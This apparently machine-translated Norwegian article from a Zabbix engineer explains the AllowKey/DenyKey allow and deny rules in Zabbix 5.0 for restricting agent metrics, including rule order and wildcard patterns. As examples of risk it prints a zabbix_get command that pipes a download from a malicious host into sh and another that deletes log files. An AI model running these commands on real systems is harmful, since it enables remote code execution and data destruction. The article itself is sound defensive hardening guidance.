Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Støtte for svarteliste og hviteliste for beregninger på agentsiden

Tikhon Uskov, integrasjonsingeniør, Zabbix

Datasikkerhetsproblemer

Zabbix 5.0 har en ny funksjon som lar deg forbedre sikkerheten i systemer som bruker Zabbix Agent og erstatter den gamle parameteren Aktiver fjernkommandoer.

Forbedringer i sikkerheten til agentbaserte systemer stammer fra det faktum at en agent kan utføre et stort antall potensielt farlige handlinger.

  • Agenten kan samle inn nesten all informasjon, inkludert konfidensiell eller potensielt farlig informasjon, fra konfigurasjonsfiler, loggfiler, passordfiler eller andre filer.

For eksempel, ved å bruke zabbix_get-verktøyet kan du få tilgang til en liste over brukere, deres hjemmekataloger, passordfiler, etc.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Tilgang til data ved å bruke zabbix_get-verktøyet

NOTE. Data kan bare hentes hvis agenten har leserettigheter på den tilsvarende filen. Men for eksempel filen /etc/passwd/ lesbar for alle brukere.

  • Agenten kan også utføre potensielt farlige kommandoer. For eksempel, tast *system.run[]** lar deg utføre alle eksterne kommandoer på nettverksnoder, inkludert å kjøre skript fra Zabbix webgrensesnitt som også utfører kommandoer på agentsiden.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • På Linux kjører agenten som standard uten root-privilegier, mens den på Windows kjører som en tjeneste som System og har ubegrenset tilgang til filsystemet. Følgelig, hvis det ikke gjøres endringer i Zabbix Agent-parametrene etter installasjonen, har agenten tilgang til registeret, filsystemet og kan utføre WMI-spørringer.

I tidligere versjoner er parameteren EnableRemoteCommands=0 kun tillatt å deaktivere beregninger med nøkkelen *system.run[]** og kjører skript fra webgrensesnittet, men det var ingen måte å begrense tilgangen til individuelle filer, tillate eller deaktivere individuelle nøkler som ble installert med agenten, eller begrense bruken av individuelle parametere.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Bruke EnableRemoteCommand-parameteren i tidligere versjoner av Zabbix

AllowKey/DenyKey

Zabbix 5.0 bidrar til å beskytte mot slik uautorisert tilgang ved å tilby hvitelister og svartelister for å tillate og nekte beregninger på agentsiden.

I Zabbix 5.0 alle nøkler, inkludert *system.run[]** er aktivert, og to nye agentkonfigurasjonsalternativer er lagt til:

AllowKey= — tillatte kontroller;

DenyKey= — forbudte kontroller;

hvor er et nøkkelnavnmønster med parametere som bruker metategn (*).

AllowKey- og DenyKey-tastene lar deg tillate eller nekte individuelle beregninger basert på et spesifikt mønster. I motsetning til andre konfigurasjonsparametere, er antallet AllowKey/DenyKey-parametere ikke begrenset. Dette lar deg tydelig definere hva agenten kan gjøre i systemet ved å lage et tre med sjekker - kjørbare nøkler, hvor rekkefølgen de er skrevet i spiller en veldig viktig rolle.

Rekkefølge av regler

Reglene sjekkes i den rekkefølgen de legges inn i konfigurasjonsfilen. Nøkkelen kontrolleres i henhold til reglene før første match, og så snart nøkkelen til dataelementet samsvarer med mønsteret, tillates eller nektes den. Etter dette stopper regelkontrollen og de gjenværende nøklene ignoreres.

Derfor, hvis et element samsvarer med både en tillat- og en nekt-regel, vil resultatet avhenge av hvilken regel som er først i konfigurasjonsfilen.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

2 forskjellige regler med samme mønster og en nøkkel vfs.file.size[/tmp/fil]

Rekkefølgen for bruk av AllowKey/DenyKey-tastene:

  1. eksakte regler,
  2. generelle regler,
  3. forbudsregel.

Hvis du for eksempel trenger tilgang til filer i en bestemt mappe, må du først gi tilgang til dem, og deretter nekte alt annet som ikke faller innenfor de etablerte tillatelsene. Hvis avvisningsregelen brukes først, vil tilgang til mappen bli nektet.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Riktig rekkefølge

Hvis du må tillate 2 verktøy å kjøre via *system.run[]**, og avvisningsregelen spesifiseres først, vil ikke verktøyene bli lansert, fordi det første mønsteret alltid vil matche en hvilken som helst nøkkel, og påfølgende regler vil bli ignorert.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Feil rekkefølge

Mønstre

Grunnleggende regler

Mønster er et uttrykk med jokertegn. Metategn (*) samsvarer med et hvilket som helst antall tegn på en bestemt posisjon. Metategn kan brukes både i nøkkelnavnet og i parametere. For eksempel kan du strengt definere den første parameteren med tekst, og spesifiser den påfølgende som jokertegn.

Parametre må stå i hakeparenteser [].

  • system.run[* - feil
  • vfs.file*.txt] - feil
  • vfs.file.*[*] - Ikke sant

Eksempler på bruk av jokertegn.

  1. I nøkkelnavnet og i parameteren. I dette tilfellet tilsvarer ikke nøkkelen en lignende nøkkel som ikke inneholder en parameter, siden vi i mønsteret indikerte at vi ønsker å motta en viss avslutning på nøkkelnavnet og et visst sett med parametere.
  2. Hvis mønsteret ikke bruker hakeparenteser, tillater mønsteret alle nøkler som ikke inneholder parametere og nekter alle nøkler som inneholder den angitte parameteren.
  3. Hvis nøkkelen er skrevet i sin helhet og parameterne er spesifisert som jokertegn, vil den matche enhver lignende nøkkel med noen parametere og vil ikke matche nøkkelen uten hakeparenteser, dvs. den vil tillates eller nektes.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Regler for utfylling av parametere.

  • Hvis en nøkkel med parametere er ment å brukes, må parameterne spesifiseres i konfigurasjonsfilen. Parametre må angis som et metategn. Det er nødvendig å nøye nekte tilgang til enhver fil og ta hensyn til hvilken informasjon beregningen kan gi under forskjellige stavemåter - med og uten parametere.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Funksjoner ved å skrive nøkler med parametere

  • Hvis en nøkkel er spesifisert med parametere, men parameterne er valgfrie og spesifisert som et metategn, vil en nøkkel uten parametere løses. For eksempel, hvis du vil deaktivere mottak av informasjon om belastningen på CPU og spesifisere at system.cpu.load[*]-nøkkelen skal deaktiveres, ikke glem at nøkkelen uten parametere vil returnere den gjennomsnittlige belastningsverdien.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Regler for utfylling av parametere

Merknader

justering

  • Noen regler kan ikke endres av brukeren, for eksempel oppdagelsesregler eller regler for automatisk registrering av agenter. AllowKey/DenyKey-regler påvirker ikke følgende parametere:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

NOTE. Hvis en administrator deaktiverer en nøkkel, ved spørsmål, gir ikke Zabbix informasjon om hvorfor metrikken eller nøkkelen faller inn i kategorien 'IKKE STØTTET'. Informasjon om forbud mot å utføre eksterne kommandoer vises heller ikke i agentloggfilene. Dette er av sikkerhetsgrunner, men kan komplisere feilsøking hvis beregninger faller inn i en kategori som ikke støttes av en eller annen grunn.

  • Du bør ikke stole på noen spesifikk rekkefølge for å koble til eksterne konfigurasjonsfiler (for eksempel i alfabetisk rekkefølge).

Kommandolinjeverktøy

Etter å ha satt opp reglene, må du sørge for at alt er riktig konfigurert.

Du kan bruke ett av tre alternativer:

  • Legg til en beregning i Zabbix.
  • Test med zabbix_agentd. Zabbix-agent med opsjon -skriv ut (-p) viser alle nøkler (som er tillatt som standard) bortsett fra de som ikke er tillatt av konfigurasjonen. Og med alternativet -test (-t) for en forbudt nøkkel vil returnere 'Ikke-støttet elementnøkkel'.
  • Test med zabbix_get. Nytte zabbix_get med opsjon -k vil returnere 'ZBX_NOTSUPPORTED: Ukjent beregning'.

Tillat eller avslå

Du kan nekte tilgang til en fil og verifisere, for eksempel ved å bruke verktøyet zabbix_getat tilgang til filen nektes.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

**

NOTE. Anførselstegn i parameteren ignoreres.

I dette tilfellet kan tilgang til en slik fil tillates via en annen bane. For eksempel hvis en symbolkobling fører til den.

Støtte for svartelisting og hvitelisting for agentsideberegninger i Zabbix 5.0

Det anbefales å sjekke ulike alternativer for å anvende de angitte reglene, og også ta hensyn til mulighetene for å omgå forbudene.

Spørsmål og svar

spørsmålet. Hvorfor ble et så komplekst mønster med eget språk valgt for å beskrive regler, tillatelser og forbud? Hvorfor var det ikke mulig å bruke for eksempel de regulære uttrykkene som Zabbix bruker?

svar. Dette er et problem med regeluttrykk siden det vanligvis bare er én agent og den sjekker et stort antall beregninger. Regex er en ganske tung operasjon, og vi kan ikke sjekke tusenvis av beregninger på denne måten. Jokertegn – en universell, mye brukt og enkel løsning.

spørsmålet. Er ikke Inkluder-filene inkludert i alfabetisk rekkefølge?

svar. Så vidt jeg vet er det praktisk talt umulig å forutsi rekkefølgen reglene vil bli brukt i hvis du sprer reglene på ulike filer. Jeg anbefaler å samle alle AllowKey/DenyKey-regler i én Include-fil, fordi de samhandler med hverandre, og inkluderer denne filen.

spørsmålet. I Zabbix 5.0 alternativet 'EnableRemoteCommands=' mangler i konfigurasjonsfilen, og bare AllowKey/DenyKey er tilgjengelig?

Svar. Ja, det er riktig.

Takk for din oppmerksomhet!

Kilde: www.habr.com

Legg til en kommentar